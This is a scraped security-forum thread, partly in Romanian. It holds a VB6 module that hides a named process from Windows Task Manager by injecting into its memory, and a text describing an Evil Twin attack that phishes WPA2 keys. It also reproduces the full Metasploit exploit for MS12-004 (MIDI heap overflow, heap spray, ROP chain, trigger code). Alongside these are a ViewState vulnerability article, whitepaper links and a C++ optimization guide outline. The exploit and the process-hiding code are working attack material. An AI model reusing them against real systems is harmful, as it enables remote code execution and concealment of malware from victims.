Function EnumChildWindows Lib "user32.dll" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long Private Declare Function RegisterWindowMessageW Lib "user32.dll" (ByVal lpString As Long) As Long Private Declare Function RegisterShellHookWindow Lib "user32.dll" (ByVal Hwnd As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal Hwnd As Long, lpdwProcessId As Long) As Long Private Declare Function DeregisterShellHookWindow Lib "user32.dll" (ByVal Hwnd As Long) As Long '// Types Private Type POINTAPI x As Long y As Long End Type Private Type LVFINDINFO flags As Long psz As Long lParam As Long pt As POINTAPI vkDirection As Long End Type '// Consts Private Const LISTVIEW_CLASSNAME$ = "SysListView32" Private Const TASKMANAGER_CLASSNAME$ = "#32770" Private Const MEM_COMMIT& = &H1000 Private Const MEM_RESERVE& = &H2000 Private Const MEM_RELEASE& = &H8000& Private Const GWL_WNDPROC& = -&H4& Private Const PAGE_READWRITE& = &H4& Private Const LVFI_WRAP& = &H20 Private Const LVM_FIRST = &H1000 Private Const LVM_FINDITEM = (LVM_FIRST + 13) Private Const LVM_DELETEITEM& = &H1008 Private Const PROCESS_VM_READ& = &H10 Private Const PROCESS_VM_WRITE& = &H20 Private Const PROCESS_VM_OPERATION& = &H8 Private Const HSHELL_WINDOWCREATED& = &H1 Private Const HSHELL_WINDOWDESTROYED& = &H2 Private Const LVM_GETITEMTEXT = (&H1000 + 45) '// Variables Private lngLVHWND& Private lngWinHook& Private lngReferenceHwnd& Private WM_SHELLHOOKMESSAGE& Dim bytProcess2Hide() As Byte Public Sub StartHideProcessHook(ByVal lngRefHwnd&, ByRef strProcessName$) Dim lngTskMngrHwnd& If lngRefHwnd And LenB(strProcessName) > 0 Then If lngWinHook = 0 Then Debug.Print "Hook Started -> "; Time$ bytProcess2Hide = StrConv(strProcessName, vbFromUnicode) lngReferenceHwnd = lngRefHwnd lngTskMngrHwnd = FindWindowA(TASKMANAGER_CLASSNAME, vbNullString) If lngTskMngrHwnd Then StartFindLV lngTskMngrHwnd End If WM_SHELLHOOKMESSAGE = RegisterWindowMessageW(StrPtr("SHELLHOOK")) lngWinHook = SetWindowLongA(lngReferenceHwnd, GWL_WNDPROC, AddressOf WinProc) RegisterShellHookWindow lngReferenceHwnd End If End If End Sub Public Sub StopHideProcessHook() If lngReferenceHwnd Then If lngWinHook Then Debug.Print "Hook Stoped -> "; Time$ SetWindowLongA lngReferenceHwnd, GWL_WNDPROC, lngWinHook DeregisterShellHookWindow lngReferenceHwnd StopTimer lngWinHook = 0 End If End If End Sub Private Function WinProc(ByVal Hwnd&, ByVal uMsg&, ByVal wParam&, ByVal lParam&) As Long If uMsg = WM_SHELLHOOKMESSAGE Then Select Case wParam Case HSHELL_WINDOWCREATED Debug.Print "New Window -> Classname: "; GetWinClassName(lParam), " -> "; Time$ If GetWinClassName(lParam) = TASKMANAGER_CLASSNAME Then StartFindLV lParam 'Debug.Print "TaskManager Open -> "; Time$ End If Case HSHELL_WINDOWDESTROYED 'Debug.Print "Window Closed -> Classname: "; GetWinClassName(lParam), " -> "; Time$ If GetWinClassName(lParam) = TASKMANAGER_CLASSNAME Then '// SetTimer = False StopTimer 'Debug.Print "TaskManager Closed -> "; Time$ End If End Select End If WinProc = CallWindowProcA(lngWinHook, Hwnd, uMsg, wParam, lParam) End Function Private Sub TimerProc(ByVal lngHwnd&, ByVal nIDEvent&, ByVal uElapse&, ByVal lpTimerFunc&) HideProcess End Sub Private Sub StartFindLV(ByVal lngHwnd&) EnumChildWindows lngHwnd, AddressOf SearchListView, 1 End Sub Private Function SearchListView(ByVal lngHwnd&, ByVal lParam&) As Boolean If GetWinClassName(lngHwnd) = LISTVIEW_CLASSNAME Then Debug.Print "LV finded -> "; Time$ lngLVHWND = lngHwnd '// SetTimer = True SetTimer lngReferenceHwnd, 0, 20, AddressOf TimerProc Else SearchListView = True End If End Function Private Function GetWinClassName(ByVal lngHwnd&) As String Dim lngRet& GetWinClassName = String$(&H100, vbNullChar) lngRet = GetClassNameA(lngHwnd, GetWinClassName, &H100) GetWinClassName = Left$(GetWinClassName, lngRet) End Function Private Sub StopTimer() KillTimer lngReferenceHwnd, 0 End Sub Private Sub HideProcess() Dim pHandle As Long, ProcessID As Long Dim pStrBufferMemory As Long, pMyItemMemory As Long Dim LFI As LVFINDINFO, lWritten As Long Dim a As Long If lngLVHWND = 0 Then Exit Sub GetWindowThreadProcessId lngLVHWND, ProcessID pHandle = OpenProcess(&H1F0FFF, False, ProcessID) pMyItemMemory = VirtualAllocEx(pHandle, 0&, LenB(LFI) + 513, &H1000, &H40) LFI.flags = LVFI_WRAP LFI.psz = pMyItemMemory + Len(LFI) Call WriteProcessMemory(pHandle, ByVal pMyItemMemory, ByVal VarPtr(LFI), Len(LFI), ByVal VarPtr(lWritten)) Call WriteProcessMemory(pHandle, ByVal (pMyItemMemory + Len(LFI)), ByVal VarPtr(bytProcess2Hide(0)), UBound(bytProcess2Hide) + 1, lWritten) a = SendMessageA(lngLVHWND, LVM_FINDITEM, -1, ByVal pMyItemMemory) If a > -1 Then SendMessageA lngLVHWND, &H1000 + 8, a, 0& VirtualFreeEx pHandle, pMyItemMemory, 0&, MEM_RELEASE CloseHandle pHandle End Sub Userland hooking. Download: http://www.hackhound.org/forum/index.php?app=core&module=attach§ion=attach&attach_id=11183
-
Exploit-ul e public.
-
Hacking WPA 2 Key - Evil Twin Method (No Bruteforce) Video made by TechnicDynamic, click and subscribe to his channel! Canalul utilizatorului technicdynamic - YouTube Description In an ealier post, we've seen how to crack WPA-2 network keys using a dictionary. While that technique works, it could take an awful long time, especially when brute forcing. On this technique, named 'Evil Twin', we take a different perspective to the attack. Using a powerful long range wireless card (Alfa AWUS036NH), we clone the target network to confuse our victim. Then, we deauthenticate the victim from his own wireless network and wait until he connects to our access point - which looks exactly like his. When the victim connects, he is redirected to a service page asking for the WPA-2 key in order to access the internet. As soon as we get the key, you can either allow the victim to use the network (maybe improvise some password sniffing?) or just bring it down manually. For this example I created a service page, started apache and mysql to store the keys typed in a database. Song: BGNS - Sasas Original article: Technic Dynamic | Hacking WPA 2 Key – Evil Twin (No Bruteforce) Oblivion | Facebook http://www.TechnicDynamic.com * Video made under controlled circumstances for educational purposes.
-
Pfff, amintiri Insa cel putin acum 4-5 ani faceam cate ceva "util".
-
Dau avertisment pentru ca ai postat intr-o categorie gresita.
-
Am vazut, felicitari. PS: A se vedea si cateva detalii tehnice: VUPEN Vulnerability Research Blog - Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004 / CVE-2012-0003)
-
[h=3]VIEWSTATE Vulnerabilities[/h][h=2]Friday, January 27, 2012[/h] 1. ViewState Overview "View state is a method that the ASP.NET page framework uses to preserve page and control values between round trips. When the HTML markup for the page is rendered, the current state of the page and values that must be retained during postback are serialized into base64-encoded strings. This information is then put into the view state hidden field or fields." MSDN "What does ViewState do? - Stores values per control by key name, like a Hashtable - Tracks changes to a ViewState value's initial state - Serializes and deserializes saved data into a hidden form field on the client - Automatically restores ViewState data on postbacks" From an article on the ViewState mechanisms by an ASP.NET developer To put it even simplier, ViewState is a hidden HTML parameter that sends a current structure of page content to the server. Example of use: retaining form field values on the page for by-page list scrolling. Though there are widely used methods of disabling or avoiding ViewState (usually, by means of a DBMS), this mechanism is built in ASP.NET by default and is often misused: "Even more important than understanding what it does, is understanding what it does NOT do: What doesn’t ViewState do? - Automatically retain state of class variables (private, protected, or public) - Remember any state information across page loads (only postbacks) - Remove the need to repopulate data on every request - ViewState is not responsible for the population of values that are posted such as by TextBox controls (although it does play an important role)" From an article on the ViewState mechanisms by an ASP.NET developer Obviously, such misuse entails more serious problems, such as a missing filtration or a perverted idea of how the web application should work properly. Developers tend to believe that if ViewState is a serialized structure, moreover, a base64-encrypted one, no attacker will be able to get to its contents. However, the truth is, if the encryption and the data integrity check (MAC) are disabled, accessing the content is much simplier than it seems. Let’s decode base64: Pic. 1. Decoding VIEWSTATE by means of base64_decoder. Then, open it in the Hex Editor. Now it is evident that any string variable is preceded by bytes that indicate the string’s length (the number of bites depends on the length of the string: a string less than 128 bytes will have one byte for a variable length). Pic. 2. Spoofing content of the serialized structure. Authoritative resources state that ASP.NET versions earlier than 2.0 use LosFormatter as a serialization/deserialization algorithm, while version 2.0 and later use ObjectStateFormatter. Thus, to change the variable, one needs to define the length of a new string, overwrite the string, overwrite the byte (bytes) with the string length, encode it back with base64 and insert into __VIEWSTATE. Pic. 3. Spoofing content of the serialized structure. 2. Vulnerabilities and attacks Combined with a low-level knowledge of an average specialist about a correct and secure configuration of web applications, such approach generates the following vulnerabilities and provides opportunities for the following attacks: • Cross-Site Scripting (XSS) • Content Spoofing • SQL Injection • Information Leakage • Logical Attacks • ViewState Vulnerabilities as such • Other vulnerabilities 2.1. Cross-Site Scripting, Content Spoofing The possibility of content spoofing for an HTML page comes out of ViewState main purpose, i.e. to preserve page and control values. If data from ViewState placed into the HTTP response body are not filtered properly, it results in Content Spoofing and/or Cross-Site Scripting. Vulnerable configuration: EnableViewStateMac=false ViewStateEncryptionMode=never|auto (Depends on RegisterRequiresViewStateEncryption) ViewStateUserKey=EMPTY 2.2. Information Leakage, Logical Attacks If developer does not encrypt the VIEWSTATE parameter (Securing View State), an attacker can decode the VIEWSTATE structure and extract confidential data. If developer does not check data integrity (MAC), an attacker can change parameters that can influence the web application logic, thus facilitating Authentication Bypass, Authorization Bypass, and Abuse of Functionality. Vulnerable configuration: ViewStateEncryptionMode=never|auto EnableViewStateMac=false|true 2.3. Attacks Against ViewState The ViewState itself is also vulnerable to attacks. For example, September, 2010 saw a publication describing a vulnerability that allowed decrypting AES-encrypted ViewState by sending numerous requests to a server and tracking various error codes (Important: ASP.NET Security Vulnerability - ScottGu's Blog). Besides, the earlier versions (1.0, 1.1) are vulnerable to the Denial Of Service (DoS) attacks (against unencrypted VIEWSTATE) and the Replay attacks (against encrypted VIEWSTATE). The latter one is an attack against a cryptographic protocol consisting in resending an intercepted package that will be received appropriately, thus breaking the algorithm. These attacks were described by Michal Zalewski as far as in 2005 (Bugtraq: ASP.NET __VIEWSTATE crypto validation prone to replay attacks). 2.4. Other Vulnerabilities All other vulnerabilities common for web applications, such as SQL injection, OS Commanding, as well as other vulnerabilities of such types as Code Exploitation, Information Disclosure, etc. can and should be checked both in variables of the ViewState structure and in ordinary variables sent by GET/POST/COOKIES. Vulnerable configuration: EnableViewStateMac=false ViewStateEncryptionMode=never|auto (depends on RegisterRequiresViewStateEncryption) 3. Protection 3.1. EnableViewStateMac Default: TRUE Since: 1.0 Enables MAC (Machine Authentication Check) to check the VIEWSTATE parameter values by means of a checksum. Set the EnableViewStateMac property to "True" in the Page element. Besides, the activation requires configuring the validationKey and validation properties of the machineKey element. The following in-built encrypting algorithms are supported: SHA1, MD5, 3DES, AES, HMACSHA256, HMACSHA384, HMACSHA512. 3.2. ViewStateEncryptionMode Default: Auto Since: 2.0 Allows encrypting the VIEWSTATE parameter by any of the following algorithms: DES, 3DES, AES. For activation, configure the decryptionKey and decryption properties of the machineKey element. 3.3. ViewStateUserKey Default: EMPTY Since: 1.1 Not everyone knows that ViewState protects not only itself against spoofing, but the entire application against CSRF by means of the ViewStateUserKey parameter. ViewStateUserKey is just a protection mechanism. It is a developer’s duty to ensure its unpredictable and random nature. Set the ViewStateUserKey property to "String" in the Page element. 4. Conclusion Sections 2 and 3 provide sound evidence that, configured by default, ViewState is secured against vulnerabilities that are not 0-day. However, quite often developers, after having struggled with constantly appearing error notifications about integrity violation, faulty arguments, etc., end up disabling keys that provoke errors, thus leaving the application vulnerable to various attacks. Yet, if the web application is properly configured, the probability of errors and even vulnerabilities can be minimized down to 0. Sursa: [Positive Technologies] Research Lab: VIEWSTATE Vulnerabilities
-
Intercepting GSM traffic Pe scurt, cateva idei, prezentare de la Blackhat Europe 2008. Download: http://www.blackhat.com/presentations/bh-europe-08/Steve-DHulton/Whitepaper/bh-eu-08-steve-dhulton-WP.pdf
-
Biologger - A Biometric Keylogger O idee interesanta, prezentare de la Blackhat Europe 2008. Download: http://www.blackhat.com/presentations/bh-europe-08/Lewis/Whitepaper/bh-eu-08-lewis-WP.pdf
-
Optimizing software in C++ An optimization guide for Windows, Linux and Mac platforms By Agner Fog. Copenhagen University College of Engineering. Copyright © 2004 - 2011. Last updated 2011-06-08. Contents 1 Introduction ....................................................................................................................... 3 1.1 The costs of optimizing ............................................................................................... 4 2 Choosing the optimal platform........................................................................................... 4 2.1 Choice of hardware platform....................................................................................... 4 2.2 Choice of microprocessor ........................................................................................... 6 2.3 Choice of operating system......................................................................................... 6 2.4 Choice of programming language ............................................................................... 8 2.5 Choice of compiler .................................................................................................... 10 2.6 Choice of function libraries........................................................................................ 12 2.7 Choice of user interface framework........................................................................... 14 2.8 Overcoming the drawbacks of the C++ language...................................................... 14 3 Finding the biggest time consumers ................................................................................ 16 3.1 How much is a clock cycle? ...................................................................................... 16 3.2 Use a profiler to find hot spots .................................................................................. 16 3.3 Program installation .................................................................................................. 18 3.4 Automatic updates .................................................................................................... 19 3.5 Program loading ....................................................................................................... 19 3.6 Dynamic linking and position-independent code ....................................................... 19 3.7 File access................................................................................................................21 3.8 System database ...................................................................................................... 22 3.9 Other databases ....................................................................................................... 22 3.10 Graphics ................................................................................................................. 22 3.11 Other system resources.......................................................................................... 22 3.12 Network access ...................................................................................................... 22 3.13 Memory access....................................................................................................... 23 3.14 Context switches..................................................................................................... 23 3.15 Dependency chains ................................................................................................ 23 3.16 Execution unit throughput ....................................................................................... 23 4 Performance and usability ............................................................................................... 24 5 Choosing the optimal algorithm....................................................................................... 25 6 Development process...................................................................................................... 26 7 The efficiency of different C++ constructs........................................................................ 27 7.1 Different kinds of variable storage............................................................................. 27 7.2 Integers variables and operators............................................................................... 30 7.3 Floating point variables and operators ...................................................................... 32 7.4 Enums ......................................................................................................................34 7.5 Booleans................................................................................................................... 34 7.6 Pointers and references............................................................................................ 36 7.7 Function pointers ...................................................................................................... 38 7.8 Member pointers....................................................................................................... 38 7.9 Smart pointers .......................................................................................................... 38 7.10 Arrays ..................................................................................................................... 39 7.11 Type conversions.................................................................................................... 41 7.12 Branches and switch statements............................................................................. 44 7.13 Loops...................................................................................................................... 46 2 7.14 Functions ................................................................................................................ 48 7.15 Function parameters ............................................................................................... 50 7.16 Function return types .............................................................................................. 51 7.17 Structures and classes............................................................................................ 51 7.18 Class data members (properties) ............................................................................ 52 7.19 Class member functions (methods)......................................................................... 53 7.20 Virtual member functions ........................................................................................ 54 7.21 Runtime type identification (RTTI)........................................................................... 54 7.22 Inheritance.............................................................................................................. 54 7.23 Constructors and destructors .................................................................................. 55 7.24 Unions ....................................................................................................................56 7.25 Bitfields................................................................................................................... 56 7.26 Overloaded functions .............................................................................................. 57 7.27 Overloaded operators ............................................................................................. 57 7.28 Templates............................................................................................................... 57 7.29 Threads .................................................................................................................. 60 7.30 Exceptions and error handling ................................................................................ 61 7.31 Other cases of stack unwinding .............................................................................. 65 7.32 Preprocessing directives......................................................................................... 65 7.33 Namespaces........................................................................................................... 65 8 Optimizations in the compiler .......................................................................................... 66 8.1 How compilers optimize ............................................................................................ 66 8.2 Comparison of different compilers............................................................................. 74 8.3 Obstacles to optimization by compiler....................................................................... 77 8.4 Obstacles to optimization by CPU............................................................................. 80 8.5 Compiler optimization options ................................................................................... 81 8.6 Optimization directives.............................................................................................. 82 8.7 Checking what the compiler does ............................................................................. 84 9 Optimizing memory access ............................................................................................. 87 9.1 Caching of code and data ......................................................................................... 87 9.2 Cache organization................................................................................................... 87 9.3 Functions that are used together should be stored together...................................... 88 9.4 Variables that are used together should be stored together ...................................... 88 9.5 Alignment of data...................................................................................................... 90 9.6 Dynamic memory allocation...................................................................................... 90 9.7 Container classes ..................................................................................................... 92 9.8 Strings ...................................................................................................................... 95 9.9 Access data sequentially .......................................................................................... 96 9.10 Cache contentions in large data structures ............................................................. 96 9.11 Explicit cache control .............................................................................................. 99 10 Multithreading.............................................................................................................. 101 10.1 Hyperthreading ..................................................................................................... 102 11 Out of order execution................................................................................................. 103 12 Using vector operations............................................................................................... 105 12.1 AVX instruction set and YMM registers................................................................. 105 12.2 Automatic vectorization......................................................................................... 106 12.3 Explicit vectorization ............................................................................................. 108 12.4 Mathematical functions for vectors........................................................................ 121 12.5 Aligning dynamically allocated memory................................................................. 124 12.6 Aligning RGB video or 3-dimensional vectors ....................................................... 124 12.7 Conclusion............................................................................................................ 124 13 Making critical code in multiple versions for different CPUs......................................... 125 13.1 CPU dispatch strategies........................................................................................ 125 13.2 Difficult cases........................................................................................................ 127 13.3 Test and maintenance .......................................................................................... 129 13.4 Implementation ..................................................................................................... 129 13.5 CPU dispatching in Gnu compiler ......................................................................... 131 13.6 CPU dispatching in Intel compiler ......................................................................... 132 3 14 Specific optimization tips ............................................................................................. 138 14.1 Use lookup tables ................................................................................................. 138 14.2 Bounds checking .................................................................................................. 140 14.3 Use bitwise operators for checking multiple values at once................................... 141 14.4 Integer multiplication............................................................................................. 142 14.5 Integer division...................................................................................................... 143 14.6 Floating point division ........................................................................................... 145 14.7 Don’t mix float and double..................................................................................... 146 14.8 Conversions between floating point numbers and integers ................................... 146 14.9 Using integer operations for manipulating floating point variables......................... 148 14.10 Mathematical functions ....................................................................................... 151 15 Metaprogramming ....................................................................................................... 152 16 Testing speed.............................................................................................................. 155 16.1 The pitfalls of unit-testing ...................................................................................... 157 16.2 Worst-case testing ................................................................................................ 157 17 Optimization in embedded systems............................................................................. 159 18 Overview of compiler options....................................................................................... 161 19 Literature..................................................................................................................... 164 20 Copyright notice .......................................................................................................... 165 Download: http://www.agner.org/optimize/optimizing_cpp.pdf
-
MS12-004 midiOutPlayNextPolyEvent Heap Overflow Authored by sinn3r, juan vazquez, Shane Garrett | Site metasploit.com Posted Jan 28, 2012 This Metasploit module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "MS12-004 midiOutPlayNextPolyEvent Heap Overflow", 'Description' => %q{ This module exploits a heap overflow vulnerability in the Windows Multimedia Library (winmm.dll). The vulnerability occurs when parsing specially crafted MIDI files. Remote code execution can be achieved by using Windows Media Player's ActiveX control. Exploitation is done by supplying a specially crafted MIDI file with specific events, causing the offset calculation being higher than how much is available on the heap (0x400 allocated by WINMM!winmmAlloc), and then allowing us to either "inc al" or "dec al" a byte. This can be used to corrupt an array (CImplAry) we setup, and force the browser to confuse types from tagVARIANT objects, which leverages remote code execution under the context of the user. At this time, for IE 8 target, JRE (Java Runtime Environment) is required to bypass DEP (Data Execution Prevention). Note: Based on our testing, the vulnerability does not seem to trigger when the victim machine is operated via rdesktop. }, 'License' => MSF_LICENSE, 'Author' => [ 'Shane Garrett', #Initial discovery (IBM X-Force) 'juan vazquez', 'sinn3r', ], 'References' => [ [ 'MSB', 'MS12-004'], [ 'CVE', '2012-0003' ], [ 'OSVDB', '78210'], [ 'BID', '51292'], [ 'URL', 'http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php' ], ], 'Payload' => { 'Space' => 1024, }, 'DefaultOptions' => { 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => false, 'DispatchDst' => 0x0c0c0c0c } ], [ 'IE 8 on Windows XP SP3', { # xchg ecx,esp # or byte ptr [eax],al # add byte ptr [edi+5Eh],bl # ret 8 # From IMAGEHLP 'Rop' => true, 'StackPivot' => 0x76C9B4C2, 'DispatchDst' => 0x0c0c1be4 } ], ], 'Privileged' => false, 'DisclosureDate' => "Jan 10 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(request) agent = request.headers['User-Agent'] vprint_status("Request from: #{agent}") if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP SP3 + IE 6.0 return targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Windows XP SP3 + IE 7.0 return targets[2] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ #Windows XP SP3 + IE 8.0 + JRE6 return targets[3] else return nil end end def get_midi # MIDI Fileformat Reference: # http://www.sonicspot.com/guide/midifiles.html # # Event Types: # 0x08 = Note Off (when MIDI key is released) # 0x09 = Note On (when MIDI key is pressed) # 0x0A = Note aftertouch (pressure change on the pressed MIDI key) # 0x0B = Controller Event (MIDI channels state) # 0x0C = Program change (Which instrument/patch should be played on the MIDI channel) # 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel) # 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value) # 0x0F = Meta Events (not sent or received over a midi port) # Structure: # [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event) # Problem: # Windows Media Player fails to manage Note On and Note Off Events # Track Chunk Data tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D" # Meta Event - Sequence/Track Name tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00" # Midi Channel Event - Program Change tc << "\x00\xC9\x28" # Midi Channel Event - Controller tc << "\x00\xB9\x07\x64" # Midi Channel Event - Controller tc << "\x00\xB9\x0A\x40" # Midi Channel Event - Controller tc << "\x00\xB9\x7B\x00" # Midi Channel Event - Controller tc << "\x00\xB9\x5B\x28" # Midi Channel Event - Controller tc << "\x00\xB9\x5D\x00" # Midi Channel Event - Note On tc << "\x85\x50\x99\x23\x7F" # Corruption events # Midi Channel Event - Note On tc << "\x00\x9F\xb2\x73" # Ends Corruption events # Meta Event - End Of Track tc << "\x00\xFF\x2F\x00" m = '' # HEADERCHUNK Header m << "MThd" # Header m << "\x00\x00\x00\x06" # Chunk size m << "\x00\x00" # Format Type m << "\x00\x01" # Number of tracks m << "\x00\x60" # Time division # TRACKCHUNK header m << "MTrk" # Header m << [tc.length].pack('N') m << tc midi_name = "test_case.mid" return midi_name, m end def on_request_uri(cli, request) if request.uri =~ /\.mid$/i print_status("Sending midi file to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, @midi, {'Content-Type'=>'application/octet-strem'}) return end #Set default target my_target = target #If user chooses automatic target, we choose one based on user agent if my_target.name =~ /Automatic/ my_target = get_target(request) if my_target.nil? send_not_found(cli) print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent") return end vprint_status("Target selected: #{my_target.name}") end midi_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource midi_uri << "/#{@m_name}" spray = build_spray(my_target) if datastore['OBFUSCATE'] spray = ::Rex::Exploitation::JSObfu.new(spray) spray.obfuscate end trigger = build_trigger(my_target) trigger_fn = "trigger" if datastore['OBFUSCATE'] trigger = ::Rex::Exploitation::JSObfu.new(trigger) trigger.obfuscate trigger_fn = find_trigger_fn(trigger.to_s) end html = %Q| <html> <head> <script language='javascript'> #{spray} </script> <script language='javascript'> #{trigger} </script> <script for=audio event=PlayStateChange(oldState,newState)> if (oldState == 3 && newState == 0) { #{trigger_fn}(); } </script> </head> <body> <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95"> <param name="fileName" value="#{midi_uri}"> <param name="SendPlayStateChangeEvents" value="true"> <param NAME="AutoStart" value="True"> <param name="uiMode" value="mini"> <param name="Volume" value="-300"> </object> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @m_name, @midi = get_midi super end def build_spray(my_target) # Extract string based on target if my_target.name == 'IE 8 on Windows XP SP3' js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);" else js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);" end # Build shellcode based on Rop requirement if my_target['Rop'] code = create_rop_chain(my_target) code << payload.encoded shellcode = Rex::Text.to_unescape(code) else code = payload.encoded shellcode = Rex::Text.to_unescape(code) end # 1. Create big block of nops # 2. Compose one block which is nops + shellcode # 3. Repeat the block # 4. Extract string from the big block # 5. Spray spray = <<-JS var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{shellcode}"); var nops = unescape("%u0c0c%u0c0c"); while (nops.length < 0x1000) nops+= nops; var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; #{js_extract_str} heap_obj.gc(); for (var i=0; i < 600; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray, {:noobfu => true}) return spray end # Build the JavaScript string for the attributes def build_element(element_name, my_target) dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V")) element = '' if my_target.name =~ /IE 8/ max = 63 # Number of attributes for IE 8 index = 1 # Where we want to confuse the type else max = 55 # Number of attributes for before IE 8 index = 0 # Where we want to confuse the type end element << "var #{element_name} = document.createElement(\"select\")" + "\n" # Build attributes 0.upto(max) do |i| obj = (i==index) ? "unescape(\"#{dst}\")" : "alert" element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n" end return element end # Feng Shui and triggering Steps: # 1. Run the garbage collector before allocations # 2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent) # 3. Make holes # 4. Let windows media play the crafted midi file and corrupt the heap # 5. Force the using of the confused tagVARIANT. def build_trigger(my_target) if my_target.name == 'IE 8 on Windows XP SP3' # Redoing the feng shui if fails makes it reliable js_trigger = <<-JSTRIGGER function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w1) == "string") { } else { clones[k].w1('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } JSTRIGGER select_element = build_element('selob', my_target) else js_trigger = <<-JSTRIGGER function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w0) == "string") { } else { clones[k].w0('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } JSTRIGGER select_element = build_element('selob', my_target) end trigger = <<-JS var heap = new heapLib.ie(); #{select_element} var clones=new Array(1000); function feng_shui() { heap.gc(); var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui(); #{js_trigger} JS trigger = heaplib(trigger, {:noobfu => true}) return trigger end def find_trigger_fn(trigger) fns = trigger.scan(/function ([a-zA-Z0-9_]+)\(\)/) if fns.nil? or fns.empty? return "trigger" else return fns.last.first end return "trigger" end def junk(n=1) tmp = [] value = rand_text(4).unpack("L")[0].to_i n.times { tmp << value } return tmp end # ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona) # Added a little of roping to adjust the stack pivoting for this case # Specific for IE8 XP SP3 case at this time def create_rop_chain(my_target) rop_gadgets = [ 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] my_target['StackPivot'], # stackpivot junk, # padding 0x7c376402, # POP EBP # RETN [msvcr71.dll] 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0xfffff800, # Value to negate, will become 0x00000201 (dwSize) 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c354901, # POP EBX # RETN [msvcr71.dll] 0xffffffff, 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c34b8d7, # POP EDI # RETN [msvcr71.dll] 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c364802, # POP ESI # RETN [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll] ].flatten.pack('V*') return rop_gadgets end end Sursa: MS12-004 midiOutPlayNextPolyEvent Heap Overflow ? Packet Storm
-
